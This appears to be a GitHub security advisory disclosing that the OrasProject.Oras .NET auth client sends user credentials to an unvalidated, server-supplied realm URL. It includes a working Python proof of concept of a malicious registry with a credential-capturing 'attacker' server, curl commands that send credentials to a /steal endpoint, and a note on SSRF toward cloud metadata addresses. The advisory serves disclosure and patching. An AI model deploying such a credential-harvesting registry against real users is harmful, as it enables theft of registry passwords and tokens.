Skip to content

Auth client sends credentials to attacker-controlled `realm` URL without validation

Moderate
sajayantony published GHSA-vm4m-r64f-3qvx Jul 13, 2026

Package

nuget OrasProject.Oras (NuGet)

Affected versions

<= 0.5.0

Patched versions

0.6.0

Description

Summary

The auth client blindly follows the realm URL from the server's WWW-Authenticate: Bearer challenge header when exchanging credentials for tokens. A malicious or compromised registry can set realm to an attacker-controlled URL, causing the client to send user credentials (username/password via Basic auth, or refresh tokens/passwords via OAuth2 POST) to that URL. This is the same vulnerability class as CVE-2026-33540 (distribution, CVSS 7.5), CVE-2026-24845 (go-containerregistry, CVSS 6.5), and CVE-2026-33990 (Docker Model Runner).

Details

FetchDistributionTokenAsync (Client.cs:382) sends a GET request to the unvalidated realm URL with Basic auth credentials:

using var request = new HttpRequestMessage(HttpMethod.Get, realm);
if (!string.IsNullOrWhiteSpace(username) && !string.IsNullOrWhiteSpace(password))
{
    var credentials = Convert.ToBase64String(
        Encoding.UTF8.GetBytes($"{username}:{password}"));
    request.Headers.Authorization =
        new AuthenticationHeaderValue("Basic", credentials);
}

FetchOauth2TokenAsync (Client.cs:485) sends a POST request to the unvalidated realm URL with passwords or refresh tokens in the form body:

using var request = new HttpRequestMessage(HttpMethod.Post, realm);
// form body contains grant_type=password&username=...&password=...
// or grant_type=refresh_token&refresh_token=...

No validation of realm URL scheme, host, or origin exists in either path. The realm value comes directly from the server's WWW-Authenticate response header, which is attacker-controlled.

Note: The same pattern exists in oras-go (fetchDistributionToken and fetchOAuth2Token in registry/remote/auth/client.go).

PoC

Setup: Save the following as poc_malicious_registry.py and run with Python 3:

#!/usr/bin/env python3
"""PoC: Malicious OCI registry that exfiltrates credentials via realm redirect."""
import http.server, threading, json, base64
from urllib.parse import urlparse, parse_qs

REGISTRY_PORT, ATTACKER_PORT = 5000, 5001

class MaliciousRegistryHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        realm = f"http://localhost:{ATTACKER_PORT}/steal"
        self.send_response(401)
        self.send_header("WWW-Authenticate",
            f'Bearer realm="{realm}",service="malicious-registry",scope="repository:test/image:pull"')
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(json.dumps({"errors": [{"code": "UNAUTHORIZED"}]}).encode())
    do_HEAD = do_GET

class AttackerHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        auth = self.headers.get("Authorization", "")
        if auth.startswith("Basic "):
            decoded = base64.b64decode(auth[6:]).decode()
            print(f"\n🚨 CREDENTIALS CAPTURED: {decoded}\n")
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(json.dumps({"access_token": "fake-token"}).encode())
    def do_POST(self):
        body = self.rfile.read(int(self.headers.get("Content-Length", 0))).decode()
        print(f"\n🚨 OAUTH2 CREDENTIALS CAPTURED: {body}\n")
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(json.dumps({"access_token": "fake-token"}).encode())

registry = http.server.HTTPServer(("0.0.0.0", REGISTRY_PORT), MaliciousRegistryHandler)
attacker = http.server.HTTPServer(("0.0.0.0", ATTACKER_PORT), AttackerHandler)
threading.Thread(target=registry.serve_forever, daemon=True).start()
threading.Thread(target=attacker.serve_forever, daemon=True).start()
print(f"Malicious registry on :{REGISTRY_PORT}, attacker on :{ATTACKER_PORT}")
import time
while True: time.sleep(1)

Reproduce:

# Terminal 1 β€” start PoC
python3 poc_malicious_registry.py

# Terminal 2 β€” simulate auth client following the realm
# Step 1: Client hits registry, gets 401 with malicious realm
curl -s -i http://localhost:5000/v2/
# Response: WWW-Authenticate: Bearer realm="http://localhost:5001/steal",...

# Step 2: Client follows realm with credentials (this is what oras does)
curl -s -u "victim_user:s3cret_p@ssw0rd" \
    "http://localhost:5001/steal?service=malicious-registry&scope=repository:test/image:pull"

# Terminal 1 output:
# 🚨 CREDENTIALS CAPTURED: victim_user:s3cret_p@ssw0rd

The same works end-to-end with oras pull localhost:5000/test/image:latest --username victim --password secret --plain-http.

Impact

Any user who connects to a malicious or compromised OCI registry with a credential-bearing ORAS client will have their credentials (username, password, refresh tokens) exfiltrated to an attacker-controlled server. This also enables SSRF if realm points to internal network addresses (e.g., cloud metadata endpoints at http://169.254.169.254/). All versions of oras-dotnet and oras-go are affected. Downstream consumers (oras CLI, Helm, containerd, Notation, etc.) inherit via oras-go.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

CVE ID

CVE-2026-77461

Weaknesses

No CWEs

Credits